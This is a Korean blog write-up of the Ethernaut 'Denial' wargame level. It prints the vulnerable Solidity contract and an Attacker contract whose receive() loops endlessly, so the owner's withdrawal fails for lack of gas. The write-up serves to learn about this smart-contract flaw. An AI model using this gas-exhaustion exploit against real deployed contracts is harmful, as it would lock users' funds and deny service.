새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] Denial

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

우리의 mission은 owner의 자금 인출을 거부시키는 것이다.

withdraw() 함수를 보면 partner는 call을 사용하고 owner는 transfer를 사용한다. 그래서 문제를 풀기 위해선 call과 transfer차이를 알아야 한다.

call은 가변적인 gas를 소비한다. 그래서 성공 여부를 T/F로 나타낸다.

transfer은 2300 gas를 소비한다. 실패 시 error를 발생한다.

tranfer함수는 owner에게 보내고 call은 partner에게 보낸다. 그러면 우리는 call을 조작하여 gas를 다 소비하면 transfer를 실행하지 않아서 error가 출력된다.

 

우리가 컨트랙트를 만들어서 receive()를 했을 때 무한 루프를 돌려서 가스를 전부 소진시키면 그 이후는 서비스 거부가 일어난다.

contract Attacker{
    
    Denial denial;
    event GasLeft(uint remain);
    constructor(address payable _address) public {
        denial = Denial(_address);
        denial.setWithdrawPartner(address(this));
    }

    receive() payable external {    
        while(true){
            emit GasLeft(gasleft());
        }
    }
}

 partner를 내가 만든 컨트랙트의 주소로 넣고 call이 오면 무한루프를 돌리면 가스 소진으로 거부된다.

가스가 소진되서 error가 떴다.

 

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] Dex  (0) 2023.02.15
[Ethernaut] Shop  (0) 2023.02.13
[Ethernaut] Alien Codex  (0) 2023.02.10
[Ethernaut] Recovery  (0) 2023.02.09
[Ethernaut] Privacy  (0) 2023.02.09
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.